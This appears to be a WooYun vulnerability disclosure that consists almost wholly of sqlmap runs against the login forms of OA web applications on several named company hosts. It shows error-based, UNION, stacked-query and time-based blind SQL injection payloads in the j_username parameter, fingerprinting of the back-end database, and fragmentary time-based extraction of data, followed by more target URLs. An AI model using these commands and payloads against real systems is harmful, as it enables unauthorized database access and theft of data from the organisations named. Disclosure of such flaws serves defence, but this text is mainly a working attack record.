WooYun.org

POST sqlmap.py -u http://www.mm-office.com:7890/easoa/themes/mskin/login/login.jsp --forms --dbs
Place: POST
Parameter: j_username
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: j_mode=static&j_from=oa&j_locale=zh_CN&selectLoginType=static&j_use
rname=RACd' AND 9158=CONVERT(INT,(CHAR(58) CHAR(107) CHAR(104) CHAR(109) CHAR(58
) (SELECT (CASE WHEN (9158=9158) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(58) CHAR
(99) CHAR(112) CHAR(102) CHAR(58))) AND 'wnuh'='wnuh&j_password=&Submit=login
Type: UNION query
Title: Generic UNION query (NULL) - 5 columns
Payload: j_mode=static&j_from=oa&j_locale=zh_CN&selectLoginType=static&j_use
rname=RACd' UNION ALL SELECT NULL,NULL,CHAR(58) CHAR(107) CHAR(104) CHAR(109) CH
AR(58) CHAR(78) CHAR(113) CHAR(82) CHAR(89) CHAR(102) CHAR(119) CHAR(84) CHAR(10
0) CHAR(69) CHAR(80) CHAR(58) CHAR(99) CHAR(112) CHAR(102) CHAR(58),NULL,NULL--
&j_password=&Submit=login
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: j_mode=static&j_from=oa&j_locale=zh_CN&selectLoginType=static&j_use
rname=RACd'; WAITFOR DELAY '0:0:5'--&j_password=&Submit=login
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: j_mode=static&j_from=oa&j_locale=zh_CN&selectLoginType=static&j_use
rname=RACd' WAITFOR DELAY '0:0:5'--&j_password=&Submit=login
---
do you want to exploit this SQL injection? [Y/n] y
[14:22:16] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2000 or 7
web application technology: Servlet 2.5, JSP, JSP 2.1
back-end DBMS: Microsoft SQL Server 2008

http://oa.hdbp.com/themes/mskin/login/login.jsp

I
[14:27:08] [ERROR] unable to properly validate last character value ('M')..
M
[14:27:14] [ERROR] invalid character detected. retrying..
[14:27:14] [WARNING] increasing time delay to 2 seconds
[14:27:21] [ERROR] invalid character detected. retrying..
[14:27:21] [WARNING] increasing time delay to 3 seconds
[14:27:34] [ERROR] invalid character detected. retrying..
[14:27:34] [WARNING] increasing time delay to 4 seconds
[14:27:46] [ERROR] invalid character detected. retrying..
[14:27:46] [WARNING] increasing time delay to 5 seconds
ECONV
[14:30:04] [ERROR] invalid character detected. retrying..
[14:30:04] [WARNING] increasing time delay to 6 seconds
[14:30:20] [ERROR] unable to properly validate last character value ('b')..
b
[14:30:53] [ERROR] invalid character detected. retrying..
[14:30:53] [WARNING] increasing time delay to 2 seconds
[14:31:10] [ERROR] invalid character detected. retrying..
[14:31:10] [WARNING] increasing time delay to 3 seconds
[14:31:23] [ERROR] invalid character detected. retrying..
[14:31:23] [WARNING] increasing time delay to 4 seconds
[14:31:48] [ERROR] invalid character detected. retrying..
[14:31:48] [WARNING] increasing time delay to 5 seconds
[14:32:23] [ERROR] invalid character detected. retrying..
[14:32:23] [WARNING] increasing time delay to 6 seconds
RT!A
[14:33:27] [INFO] retrieved:
[14:33:43] [ERROR] unable to properly validate last character value ('e')..
eL
[14:33:59] [ERROR] invalid character detected. retrying..
[14:33:59] [WARNING] increasing time delay to 2 seconds
O
[14:34:24] [ERROR] invalid character detected. retrying..
[14:34:24] [WARNING] increasing time delay to 3 seconds
W
[14:34:53] [ERROR] invalid character detected. retrying..
[14:34:53] [WARNING] increasing time delay to 4 seconds

POST sqlmap.py -u
http://oa.gdchangda.cn:7890/easoa/themes/mskin/login/login.jsp --forms --dbs